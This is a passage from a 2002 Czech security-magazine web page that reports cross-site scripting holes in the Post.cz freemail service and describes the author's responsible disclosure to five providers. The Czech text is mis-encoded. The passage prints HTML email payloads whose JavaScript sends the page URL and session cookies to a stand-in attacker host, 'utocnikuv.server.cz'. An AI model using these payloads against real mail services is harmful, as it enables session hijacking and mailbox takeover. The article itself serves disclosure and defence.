  246. Content-Type: text/html;charset=windows-1250
  247. <html><head><br>
  248. <meta http-equiv="Content-Type" content="text/html;charset=windows-1250"></head><body><br>
  249. <script language="JavaScript"><br>
  250. x = new Image();<br>
  251. x.src = "http://utocnikuv.server.cz/skript.php?" + escape(location.href) + "&&&" + escape(document.cookie);<br>
  252. </script>
  253. </body></html>  </SPAN>
  254. </DIV></FONT></b></i>
  255. <A Name="Title5"><FONT Size=3><DIV Class=Headline>
  256. POST.CZ</DIV></font>
  257. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  258.     
  259. Poslednφm, pßt²m serverem, kter² jsem "poctil" svou nßvÜt∞vou, se stal jeden z nejstarÜφch Φesk²ch freemail∙, Post.cz (http://www.post.cz). Tento server po otev°enφ zprßvy ve formßtu HTML jejφ text sice zobrazuje jako p°φlohu, ale k jejφmu otev°enφ u₧ivatele sßm nabßdß (textem "viz p°φloha"). Otev°enß p°φloha nenφ nijak filtrovßna, tak₧e nenφ problΘm do nφ umφstit JavaScript odesφlajφcφ adresu "sb∞raΦskΘmu" skriptu. Jedinou p°ekß₧kou u Postu je p°φtomnost kontroly IP adresy, podobn∞ jako u Centra. V tomto p°φpad∞ se sice dß p°i p°ihlaÜovßnφ vypnout, ale nikdo s tφm asi nebude ztrßcet Φas a sni₧ovat tak jeÜt∞ svou bezpeΦnost. P°esto i na toto dokß₧i vyzrßt, a to stejn²m zp∙sobem, jako u Centra (skriptem, kter² sßm zφskß po₧adovanΘ "zajφmavΘ" informace a zaÜle jej "sb∞raΦskΘmu" skriptu). 
  260. </DIV></FONT></b></i>
  261. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  262.     
  263. Zdrojov² k≤d emailovΘ zprßvy, jejφm₧ zaslßnφm bylo mo₧no zφskat p°φstup k emailovΘ schrßnce na serveru Post.cz: 
  264. </DIV></FONT></b></i>
  265. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  266.     <SPAN Class=CODE><html><head><meta http-equiv="Content-Type" content="text/html;charset=windows-1250"></head><body><br>
  267. <script language="JavaScript"><br>
  268. x = new Image();<br>
  269. x.src = "http://utocnikuv.server.cz/skript.php?" + escape(location.href);<br>
  270. </script><br>
  271. </body></html></SPAN>
  272. </DIV></FONT></b></i>
  273. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  274.     
  275. Bßc, padl i poslednφ server a p°ede mnou stojφ otßzka, jak nalo₧it se znalostφ zp∙sobu jak zφskat p°φstup do emailovΘ schrßnky u₧ivatele, kter² pou₧φvß schrßnku kterΘhokoliv z p∞ti nejv∞tÜφch Φesk²ch freemail∙. Samoz°ejm∞ by Üla tato znalost zneu₧φt a Üpehovat tak u₧ivatele. To by ale bylo v rozporu s dobr²mi mravy, a proto jsem se rozhodl, ₧e rad∞ji vÜechny informace zve°ejnφm a upozornφm na chyby sprßvce server∙, aby je opravili. Proto jsem v ·ter² 8.1.2002 zaslal sprßvc∙m vÜech p∞ti v²Üe zmi≥ovan²ch server∙ upozorn∞nφ na bezpeΦnostnφ dφry v jejich systΘmu i s jejich popisem, aby mohli provΘst pat°iΦnou opravu. Dal jsem jim dva dny na to, aby dφry mohly opravit, a ve°ejn∞ jsem informace o nalezen²ch dφrßch oznßmil formou tiskov²ch zprßv a₧ ve Φtvrtek 10.1.2002. Do tΘ doby jsem dostal odpov∞di od sprßvc∙ vÜech server∙ s v²jimkou serveru Post.cz, veskrze s pod∞kovßnφm za upozorn∞nφ a p°φslibem, ₧e nalezenß chyba bude brzy opravena. Jsem rßd, ₧e se tak stalo, proto₧e od nyn∞jÜka to lidΘ dychtφcφ po Üpehovßnφ emailovΘ komunikace druh²ch budou mφt zase o kapßnek t∞₧Üφ. 
  276.  
  277. </DIV></FONT></b></i>
  278. </DIV>
  279. <SCRIPT>
  280. TextEnd('')
  281. </SCRIPT><SCRIPT>
  282. o('<br>');
  283. hr('');
  284. o('<TABLE '+CP+' '+CS+' style=\'position:relative;top:-'+sw('7','9')+'px;z-index:5\' xAlign=left '+B+'><TR><TD width=10><img HEIGHT=18 WIDTH=14 src=images/downgreyleft.gif hspace=0 vspace=0 '+B+' align=right><TD bgcolor=#E0E0E0><SPAN Style="font-size:12px;color:#000000;font-family:Verdana, Arial, Sans-Serif;position:relative;top:-2px;">Souvisejφcφ člßnky</SPAN><TD width=10><img src=images/downgreyright.gif width=17 height=18  hspace=0 vspace=0 '+B+' '+AL+'></TABLE>');
  285. </SCRIPT><OL Class=None Type=Disc><LI style='margin-left:20px;' class=LinkItem><a href=articles.php@ID=60><SPAN Class=SeeAlso>BezpeΦnΘ emailovßnφ jinak</SPAN></a><LI style='margin-left:20px;' class=LinkItem><a href=articles.php@ID=83><SPAN Class=SeeAlso>ZabezpeΦenφ domßcφho poΦφtaΦe II. - Windows</SPAN></a></OL><SCRIPT>
  286. nie('<br>');AdditionalTablesBegin();
  287.  
  288. CommentsBegin('╚eskΘ freemaily : jedna dφra za druhou !',1);
  289.  
  290. Comment('74','                                 <IMG Src=images/sub.gif valign=top> a co zabespeceny prenos https://  ???:)','Vlada','11');
  291. CommentsEnd();
  292. </SCRIPT><SCRIPT>
  293. ArticleEnd()
  294. </SCRIPT></TABLE>
  295. <!-- /Prostredni sloupec -->
  296.  
  297.  
  298. <!-- Mezera 3 -->
  299.  
  300. <td width=5><img src="images/spacer.gif" width="5" height="1" border="0" alt=""></td>
  301. <!-- /Mezera 3-->
  302.  
  303. <!-- Mezera 2 -->
  304. <td width=1 bgcolor=#1063A5><img src="images/spacer.gif" width="1" height="1" border="0" alt=""></td>
  305. <!-- /Mezera 2-->
  306.  
  307. <!-- Mezera 1-->
  308. <td width=13 bgcolor="#006792" ><img src="images/spacer.gif" width="13" height="1" border="0" alt=""></td>
  309. <!-- /Mezera 1-->
  310.  
  311. <!-- Pravy sloupec -->
  312. <td bgcolor=#006792 width="0" align="center" valign="top">
  313. <SCRIPT SRC=server/right_js.php@version=1621></SCRIPT><br>
  314. </td>
  315. <!-- /Pravy sloupec -->
  316.  
  317.  
  318. </tr>
  319.  
  320. <!-- Bilo -->
  321. <tr>
  322. <td bgcolor=#000000><img src=space.gif height=1 width=1></td>
  323. <td bgcolor=#000000></td>
  324. <td bgcolor=#000000></td>
  325. <td bgcolor=#FFFFFF></td>
  326. <td bgcolor=#FFFFFF></td>
  327. <td bgcolor=#FFFFFF></td>
  328. <td colspan=5 bgcolor=#000000></td>
  329. </tr>
  330. <tr  bgcolor=#FFFFFF>
  331. <td><img src=space.gif height=20 width=1></td>
  332. <td></td>
  333. <td></td>
  334. <td></td>
  335. <td></td>
  336. <td></td>
  337. <td colspan=5></td>
  338. </tr>
  339. <!-- /Bilo-->
  340.  
  341.  
  342.  
  343. </table>
  344. <!-- /Rozdeleni na sloupce -->
  345.  
  346. <SCRIPT>
  347.     Exec(ToExecute);
  348.     ToExecute="";
  349. </SCRIPT>
  350.  
  351. <!-- Dolni lista -->
  352.  
  353.  
  354. <!-- Paticka -->
  355. <TABLE cellspacing="0" cellpadding="0" border="0" width="100%" bgcolor=#ffffff>
  356. <TR><td colspan=5 align="center" bgcolor=#000000><img src=space.gif height=1 width=1></td></TR>
  357. <TR bgcolor=#f0f0f0>
  358. <td align="center">
  359. <IMG Src=images/logo2.gif hspace=10 vspace=5>
  360. </td>
  361. <td>
  362. <DIV Style="margin-top:4px;margin-bottom:4px;" Class=Copyright><FONT Face=Arial Size=1>
  363.  
  364. <b><u>Krypta.cz</u></b> -  Magazφn o informaΦnφ bezpeΦnosti.<br>
  365. Copyright (C) 2000-2002 Krypta.cz - <a href=mailto:michal.till@krypta.cz>Michal Till</a> a <a href=mailto:jan.kulveit@krypta.cz>Jan Kulveit</a>. VÜechna prßva vyhrazena. <br>
  366. Tento server dodr₧uje prßvnφ p°edpisy o ochran∞ osobnφch ·daj∙, vΦetn∞ standardu P3P (<a href=server/policy.xml>policy</a>). </FONT></DIV>
  367. </td>
  368. <td>
  369. <IMG Src=geronimo.gif hspace=10 vspace=5>
  370. </td>
  371. <td>
  372. <DIV Style="margin-top:4px;margin-bottom:4px;" Class=Copyright><FONT Face=Arial Size=1>
  373. RedakΦnφ systΘm Geronimo<br>
  374. Copyright (C) 2001-2002 <a href=mailto:michal.till@krypta.cz>Michal Till</a>
  375. </FONT></DIV>
  376. </td>
  377. </td></tr></table>
  378. <!-- Paticka -->
  379.  
  380. <!-- /Dolni lista -->
  381.  
  382. </body>
  383. </html>